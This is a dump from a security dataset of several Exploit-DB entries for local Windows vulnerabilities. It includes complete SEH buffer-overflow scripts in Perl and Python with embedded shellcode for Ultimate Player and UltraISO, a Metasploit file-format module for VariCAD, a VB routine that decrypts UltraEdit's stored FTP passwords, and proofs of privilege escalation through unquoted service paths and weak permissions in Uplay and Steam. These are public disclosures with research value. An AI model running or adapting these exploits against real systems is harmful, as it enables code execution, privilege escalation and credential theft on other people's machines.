deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50901
Description: UDisk Monitor Z5 Phone - 'MonServiceUDisk.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-05-11
Author: Edgar Carrillo Egea

Exploit:
# Exploit Title: UDisk Monitor Z5 Phone - 'MonServiceUDisk.exe'  Unquoted Service Path
# Discovery by: Edgar Carrillo Egea // https://twitter.com/ecarrilloeg
# Discovery Date: 2022-04-24
# Vendor Homepage: https://www.zte.com.cn/global/
# Tested Version: 2.0.3.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\Users\edgar>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
UDisk Monitor Z5 Phone                                                                                                             UDisk Monitor Z5 Phone                      C:\Program Files (x86)\Android_USB_Driver_Z\Bin\MonServiceUDisk.exe                                                                     Auto

C:\Users\edgar>sc qc "UDisk Monitor Z5 Phone"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: UDisk Monitor Z5 Phone
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Android_USB_Driver_Z\Bin\MonServiceUDisk.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : UDisk Monitor Z5 Phone
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\edgar>systeminfo

Nombre de host:                            DESKTOP-810865D
Nombre del sistema operativo:              Microsoft Windows 10 Pro
Versión del sistema operativo:             10.0.19044 N/D Compilación 19044
Exploit-DB #9548
Description: Ultimate Player 1.56b - '.m3u' / '.upl' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-31
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Ultimate Player v 1.56 beta (.m3u/upl) Universal Local BOF SEH
####################################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";##tasted under sp2//sp3 univ
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-31]
Exploit-DB #21091
Description: UltraEdit 8.2 - FTP Client Weak Password Encryption
Type: local
Platform: windows
Date: 2001-08-23
Author: E. van Elk

Exploit:
source: https://www.securityfocus.com/bid/3234/info

UltraEdit is a multi-featured commercial text editor with support for HTML, C/C++, VB, Java, Perl, XML, and C#. It also includes a hex editor and a small FTP client.

UltraEdit's FTP client has a feature which will remember FTP passwords for later use. When passwords are remembered they will be stored on the system using an "admittedly" weak encryption algorithm. As a result, it is a fairly trivial task to decrypt the passwords for FTP accounts.

Successful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.

This piece of VB code will decode the passwords stored in uedit32.ini for the FTP accounts


' UltraEdit FTP password decryption (stored in uedit32.ini)
'
' Taken from the help-file:
'
' This checkbox determines if UltraEdit will save the password for later
' reference. If not the user will be prompted for the password as required. Note
' ? if the password is saved it is stored on the system. It is encrypted however
' the encryption mechanism is unsophisticated and should not be relied upon as a
' method of security.

' Masterkey. Taken from the UltraEdt.exe
Private Const Masterkey = "sdfkh we;34u[ jwef "

'Decode a single character
Public Function UEDecode(i_Asc, ByVal i_Pos As Integer)

i_Pos = i_Pos Mod 19
If i_Pos = 0 Then i_Pos = 19

UEDecode = ((Not i_Asc) And Asc(Mid(Masterkey, i_Pos, 1))) + (i_Asc And ((Not Asc(Mid(Masterkey, i_Pos, 1))) And 127))

End Function

'Decode password
Public Function UEDecodeString(str_password As String)

Dim i As Integer

UEDecodeString = ""

For i = 1 To (Len(str_password) / 2)
UEDecodeString = UEDecodeString + Chr$(UEDecode(Val("&H" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i))
Next i

End Function
Exploit-DB #4002
Description: UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (2)
Type: local
Platform: windows
Date: 2007-05-28
Author: Thomas Pollet

Exploit:
#
#ultra iso exploit
#thomas . pollet @ gmail . com
#

import struct
scode=(#metasploit calc.exe shellcode
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a"
)
cue='FILE "'
cue+='B'*1099
#77f84143:       ff e4                   jmp    *%esp
#had to try a few to get a good one 
cue+=struct.pack('<L',0x77f84143)
cue+=scode

cue+='.bin" BINARY\n'
cue+=' TRACK 01 MODE1/2352\n   INDEX 01 00:00:00'

cue_file = open("xpl.cue","w")
cue_file.write(cue)
bin_file = open("xpl.bin","w")

# milw0rm.com [2007-05-28]
Exploit-DB #46290
Description: UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-01-31
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems 
# Vendor Homepage: https://www.ultraiso.com/
# Version: 9.7.1.3519
# Software Link: https://www.ultraiso.com/download.html
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Thanks to Francisco Ramirez for the original Windows 10 x64 DOS.
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the content to clipboard
# 2.) In the application, click "Make CD/DVD Image"
# 3.) Paste the contents of exploit.txt under 'Output FileName'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)

#0x72d1170b : pop esi # pop ebx # ret 0x04 |  {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0
#NSEH - JMP 0012ED66 (\xEB\x08)

#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c

shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1"
"\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c"
"\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8"
"\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f"
"\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99"
"\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d"
"\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11"
"\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5"
"\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23"
"\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83"
"\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66"
"\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e"
"\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3"
"\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b"
"\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5")

buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #47493
Description: Uplay 92.0.0.6280 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2019-10-14
Author: Kusol Watchara-Apanukorn

Exploit:
# Exploit Title: Uplay 92.0.0.6280 - Local Privilege Escalation
# Date: 2019-08-07
# Exploit Author: Kusol Watchara-Apanukorn, Pongtorn Angsuchotmetee, Manich Koomsusi
# Vendor Homepage: https://uplay.ubisoft.com/
# Version: 92.0.0.6280
# Tested on: Windows 10 x64
# CVE : N/A

# Vulnerability Description: "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher" has in secure permission 
# that allows all BUILTIN-USER has full permission. An attacker replace the 
# vulnerability execute file with malicious file.

///////////////////////
   Proof of Concept
///////////////////////

C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>icacls "C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher"
C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher BUILTIN\Users:(F)
                                                     BUILTIN\Users:(OI)(CI)(IO)(F)
                                                     NT SERVICE\TrustedInstaller:(I)(F)
                                                     NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Users:(I)(RX)
                                                     BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                                     CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)




Vulnerability Disclosure Timeline:
==================================
07 Aug, 19 : Found Vulnerability
07 Aug, 19 : Vendor Notification
14 Aug, 19 : Vendor Response
18 Sep, 19 : Vendor Fixed
18 Sep, 19  : Vendor released new patched
Exploit-DB #51508
Description: USB Flash Drives Control 4.1.0.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-06-07
Author: Jeffrey Bencteux

Exploit:
# Exploit Title: USB Flash Drives Control 4.1.0.0 - Unquoted Service Path
# Date: 2023-31-05
# Exploit Author: Jeffrey Bencteux
# Vendor Homepage: https://binisoft.org/
# Software Link: https://binisoft.org/wfc
# Version: 4.1.0.0
# Tested on: Microsoft Windows 11 Pro
# Vulnerability Type: Unquoted Service Path

PS C:\> wmic service get name,displayname,pathname,startmode |findstr /i
"auto" |findstr /i /v "c:\windows"
USB Flash Drives Control       usbcs       C:\Program Files\USB Flash
Drives Control\usbcs.exe       Auto

PS C:\> sc.exe qc usbcs
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usbcs
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\USB Flash Drives
Control\usbcs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : USB Flash Drives Control
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

PS C:\> systeminfo
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
OS Manufacturer:           Microsoft Corporation

-- 
Jeffrey BENCTEUX
Exploit-DB #39888
Description: Valve Steam 3.42.16.13 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-06-06
Author: Gregory Smiley

Exploit:
# Exploit Title: Valve Steam 3.42.16.13 Local Privilege Escalation
# CVE-ID: CVE-2016-5237
# Date: 5/11/52016
# Exploit Author: gsX
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://www.valvesoftware.com/
# Software Link: http://store.steampowered.com/about/
#Version: File Version 3.42.16.13, Built: Apr 29 2016, Steam API: v017, Steam package versions:[PII_REDACTED]
# Tested on: Windows 7 Professional x64 fully updated.


1. Description:

The Steam directory located at C:\Program Files (x86)\Steam implement weak
file permissions
and allow anyone in the BUILTIN\Users windows group to modify any file in
the Steam directory and any of its child files and folders.

Since Steam is a startup application by default this makes it particularly
easy to achieve lateral/vertical privilege escalation and achieve code
execution against any user running the application.


2. Proof

C:\Program Files (x86)>icacls Steam
Steam BUILTIN\Users:(F)
      BUILTIN\Users:(OI)(CI)(IO)(F)
      NT AUTHORITY\SYSTEM:(F)
      NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
      NT SERVICE\TrustedInstaller:(I)(F)
      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
      NT AUTHORITY\SYSTEM:(I)(F)
      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
      BUILTIN\Administrators:(I)(F)
      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
      BUILTIN\Users:(I)(RX)
      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
      CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files


3. Exploit:

Simply backdoor/replace Steam.exe or any other related exe's/dll's  with
the code you want to
run.

I would like to note that I contacted Valve on several occasions
and gave them plenty of time to reply/fix the issue before releasing this
entry.
Exploit-DB #17459
Description: Valve Steam Client Application 1559/1559 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2011-06-29
Author: LiquidWorm

Exploit:
Valve Steam Client Application v1559/1559 Local Privilege Escalation


Vendor: Valve Corporation

Product web page: http://www.steampowered.com

Affected version: Built: Jun 1, 2011 at 15:31:24
                  Steam API: v010
                  Steam package versions 1559 / 1559
                  File version: 1.0.968.628

Summary: Steam is a digital distribution, digital rights management,
multiplayer and communications platform developed by Valve Corporation.
It is used to distribute games and related media online, from small
independent developers to larger software houses. Steam also has
community features, automated game updates, and in-game voice and
chat functionality.

Desc: Steam is vulnerable to an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper
permissions, with the "F" flag (Full Control) for the "Users" group,
for the binary file Steam.exe, GameOverlayUI.exe and steamerrorreporter.exe.
The binary (Steam.exe) is set by default to Startup with "-silent" parameter.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vendor status:

24.06.2011 - Vulnerability discovered.
25.06.2011 - Initial contact with the vendor.
25.06.2011 - Auto-reply from the vendor stating that the message is received.
28.06.2011 - No reply from the vendor.
29.06.2011 - Public security advisory released.


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5022
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5022.php


24.06.2011


------------------------------------------------------------


C:\Program Files\Steam>cacls Steam.exe
C:\Program Files\Steam\Steam.exe BUILTIN\Users:F <---
                                 NT AUTHORITY\SYSTEM:F
                                 BUILTIN\Power Users:C
                                 BUILTIN\Administrators:F
                                 LABPC\User101:F
Exploit-DB #16644
Description: VariCAD 2010-2.05 EN - '.DWB' Local Stack Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-04-05
Author: Metasploit

Exploit:
##
# $Id: varicad_dwb.rb 9020 2010-04-05 20:45:21Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
				An attacker must send the file to victim and the victim must open the file.
			},
			'License'        => MSF_LICENSE,
			'Author' 	     =>
				[
					'n00b',    # first public exploit
					'dookie',  # metasploit first pass
					'MC',      # cleanup pass 1 & second offset
					'jduck'    # cleanup pass 2 & combined offsets
				],
			'Version'        => '$Revision: 9020 $',
			'References'     =>
				[
					[ 'OSVDB', '63067' ],
					[ 'BID', '38815' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/11789' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x0a\x3d",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 17 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.dwb']),
			], self.class)
	end

	def exploit

		header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
		sploit = rand_text_alpha_upper(1000) * 50

		# Add SEH frames..
		seh = generate_seh_record(target.ret)
		offsets = [ 26252, 22856 ]
		sploit[0,payload.encoded.length] = payload.encoded
		offsets.each { |off|
			sploit[off,seh.length] = seh
			distance = seh.length + off
			jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
			sploit[off+seh.length,jmp.length] = jmp
		}

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(header + sploit)

	end

end